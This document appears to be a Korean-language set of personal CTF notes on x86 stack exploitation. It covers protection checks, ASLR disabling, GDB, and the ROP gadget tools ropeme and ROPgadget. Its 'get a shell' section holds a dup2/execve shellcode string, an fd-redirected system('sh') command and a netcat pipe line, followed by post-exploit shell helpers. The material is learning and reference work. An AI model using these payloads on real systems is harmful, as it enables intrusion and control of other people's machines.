# x86 Memory layout
[ref - Smashing the stack.pdf]
[ 정보 획득 ]
- 바이너리 가져오기
1) xxd로 읽어서 복사
2) vi로 복사해봐서 ":%!xxd -r" 실행
3) scp -P 2222 id@server:* ./
- 스택 실행비트 확인 : readelf -l <binary >
- ASCII armor 확인 : ldd or gdb로 함수주소 출력
- 랜덤스택 확인 : cat /proc/sys/kernel/randomize_va_space (0:비활성)
- exec 스택 확인 : cat /proc/sys/kernel/exec-shield (0:비활성 )
- 바이너리 심볼확인 : readelf -s <binary >
- 바이너리 섹션확인 : readelf -S <binary > or objdump -h <binary >
- got 확인 : objdump -R <binary>
- plt 확인 : gdb로 x <function name> or IDA로 확인
- library offset address 구하기
1) ldd <binary>로
2) objdump -d <libc 경로> | grep "__libc_system"
- 간단히 gadget 찾기
objdump -d <binary> | grep -a 3 "ret"
- 라이브러리 주소 빈도 확인
$ while [ 1 ]; do ldd ./test; done > tmp
$ cat tmp | sort | uniq -c | sort -r | more
[ 라이브러리의 "/bin/sh" 찾기 ]
더보기 접기
1. (gdb) find 0x08048000, 0x08049000, "/bin/sh"
2.
int main(int argc, char **argv)
{
long shell;
shell = 0x4006b498; // <=== system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at 0x%x\n",shell);
printf("print %s\n",shell); }
3. offset 구하기 (strings 사용)
- strings -a --radix=x /lib/x86_64-linux-gnu/libc.so.6 | grep "\/bin\/sh"
4. offset 구하기
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
unsigned int index = 0;
int fd, i;
char buf[1024], *shell;
fd = open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY);
if(fd == -1){
perror("[-] open error \n");
exit(1);
}
while(read(fd, buf, 1024) > 0){
shell = (char*)buf;
for(i=0; i<(1024-8); i++){
if(memcmp((void*)shell, "/bin/sh", 8)!=0){
shell++;
}
else
break;
}
if(memcmp((void*)shell, "/bin/sh", 8)==0){
printf("offset: 0x%x\n", (shell-buf)+index*1024);
printf("test: %s\n",shell);
close(fd);
return 0;
}
index++;
}
}
접기
[ ASLR 해제 ]
더보기 접기
1. /proc/sys/kernel/randomize_va_space 조작하기 (리눅스 옵션 조작)
- 루트(uid: 0)만 가능
- 모든 aslr이 해제됨. 재부팅 시 다시 돌아옴.
2. setarch linux32/linux64/i386/i486/i586/i686 -R //setarch `uname -m` -R $SHELL
- 현재 프로세스 및 하위 프로세스
- setarch linux32 -R 로 하면 보통 됨
- 64비트는 linux64 로 하면 그냥 됨
- 64비트에서 suid, sgid 바이너리에서는 아예 적용 안됨.
- ARM도 됨
- 범위: 모든 라이브러리
- 추가 범위(suid, sgid 바이너리 아닌 경우): 스택 ASLR
- 모든 유저 가능. 권장하는 방법임.
- personality 시스템 콜을 쓴다.
3. ulimit -s unlimited
- 현재 프로세스 및 하위 프로세스
- setrlimit 시스템 콜로 설정하는것임
- 스택 크기를 unlimited로 만들어줌. 부모 프로세스에서 미리 unlimited가 아닌 값을 기본값으로 설정했을 경우 안됨.
- 범위: 모든 라이브러리(32비트만, 64비트는 안됨)
- 모든 유저 가능
ref : http://blog.jinmo123.pe.kr/57#comment13284735
접기
[ sleep 제거 ]
$ echo "int sleep(int n) { return 0; }" > no_sleep.c
$ gcc -shared -ldl -fPIC no_sleep.c -o til_brooklyn.so
$ LD_PRELOAD=./til_brooklyn.so ./kappa
[ GDB ]
- gdb 시작
$gdb -q -p `pgrep process_name`
$gdb -q [binary]
- 메모리 맵 보기
(gdb) info file
(gdb) b *(info file에서 얻은 EP주소)
(gdb) r
(gdb) i proc map
(gdb) !cat /proc/`pidof binary_name`/maps
- fork()를 사용한 프로그램의 자식 프로세스 디버깅 옵션
(gdb) set follow-fork-mode child
- find 명령어 사용
(gdb) find 0x08048000, 0x08049000, "/bin/sh"
(gdb) find /h 0x08048000, 0x08049000, 0xaabb
[ ROP Gadget]
1. ropeme
더보기 접기
download : https://github.com/packz/ropeme
ropeme-master.tar
ropeme-master.zip
distorm-1.7.30.tar.gz
distorm setting
./setup.py build
./setup.py install
사용법
$ ropeme/ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> help
Available commands: type help <command> for detail
generate Generate ROP gadgets for binary
load Load ROP gadgets from file
search Search ROP gadgets
shell Run external shell commands
^D Exit
1. ropshell.py 실행
2. generate 명령어 실행
ROPeMe> generate ./a.out
Generating gadgets for ./a.out with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 39 gadgets
Dumping asm gadgets to file: a.out.ggt ...
OK
3. search 명령어 실행
ROPeMe> search pop ? pop ?
Searching for ROP gadget: pop ? pop ? with constraints: []
0x8048492L: pop ebx ; pop ebp ;;
0x8048657L: pop ebx ; pop ebp ;;
0x804860eL: pop edi ; pop ebp ;;
ROPeMe> search pop ? pop %
Searching for ROP gadget: pop ? pop % with constraints: []
0x8048492L: pop ebx ; pop ebp ;;
0x8048657L: pop ebx ; pop ebp ;;
0x804860eL: pop edi ; pop ebp ;;
0x804860dL: pop esi ; pop edi ; pop ebp ;;
접기
2. ROPgadget
더보기 접기
download : https://github.com/JonathanSalwan/ROPgadget/
ref : http://shell-storm.org/project/ROPgadget/
Install
-------
For the Capstone's installation on nix machine:
$ cd ./dependencies/capstone-next
$ ./make.sh
$ sudo ./make.sh install
$ cd ./bindings/python
$ make
$ sudo make install
Usage
-----
usage: ROPgadget.py [-h] [-v] [--binary <binary>] [--opcode <opcodes>]
[--string <string>] [--memstr <string>] [--depth <nbyte>]
[--only <key>] [--filter <key>] [--range <start-end>]
[--thumb] [--console] [--norop] [--nojop] [--nosys]
optional arguments:
-h, --help show this help message and exit
-v, --version Display the ROPgadget's version
--binary <binary> Specify a binary filename to analyze
--opcode <opcodes> Searh opcode in executable segment
--string <string> Search string in readable segment
--memstr <string> Search each byte in all readable segment
--depth <nbyte> Depth for search engine (default 10)
--only <key> Only show specific instructions
--filter <key> Suppress specific instructions
--range <start-end> Search between two addresses (0x...-0x...)
--thumb Use the thumb mode for the search engine. (ARM only)
--console Use an interactive console for search engine
--norop Disable ROP search engine
--nojop Disable JOP search engine
--nosys Disable SYS search engine
console commands:
display Display all gadgets
help Display the help
load Load all gadgets
quit Quit the console mode
search Search specific keywords or not
1. $python ROPgadget.py --binary ./a.out
2. $ python ROPgadget.py --console --binary ./a.out (interactive하게 사용)
(ROPgadget)> load (먼저 load를 해줘야함 )
[+] Loading gadgets, please wait...
[+] Gadgets loaded !
접기
[ 쉘 획득 ]
[1] shellcode : dup + execve
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
[2] "sh<&4 >&4\x00"명령 실행 ex) system("sh<&4 >&4\x00")
[3] "ls|nc 127.0.0.1 31337"
[ Exploit 후 세션 유지 ]
더보기 접기
[1] telnetlib 이용
import telnetlib
def telnet_cmd(s):
print '[*] start shell'
t = telnetlib.Telnet()
t.sock = s
t.interact()
[2] recv, send로 연결
def sock_cmd(s):
print '[*] start shell'
length = 1024
while 1:
cmd = raw_input("$ ")
if (cmd == ""):
continue
elif (cmd == "exit"):
break
else:
s.send(cmd+'\n')
try:
data =s.recv(1024)
print data
while(len(data) == 1024):
data = s.recv(1024)
print data
except:
print '[*] Error'
return
[3] buffer flush ??
def flush(s):
import sys
raw_input('flush;')
data = s.recv(1024)
while(len(data) == 1024):
data = s.recv(1024)
sys.stdout.write('')
접기
- read, write 함수 NULL, 엔터 가능 (recv, send 동일)
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.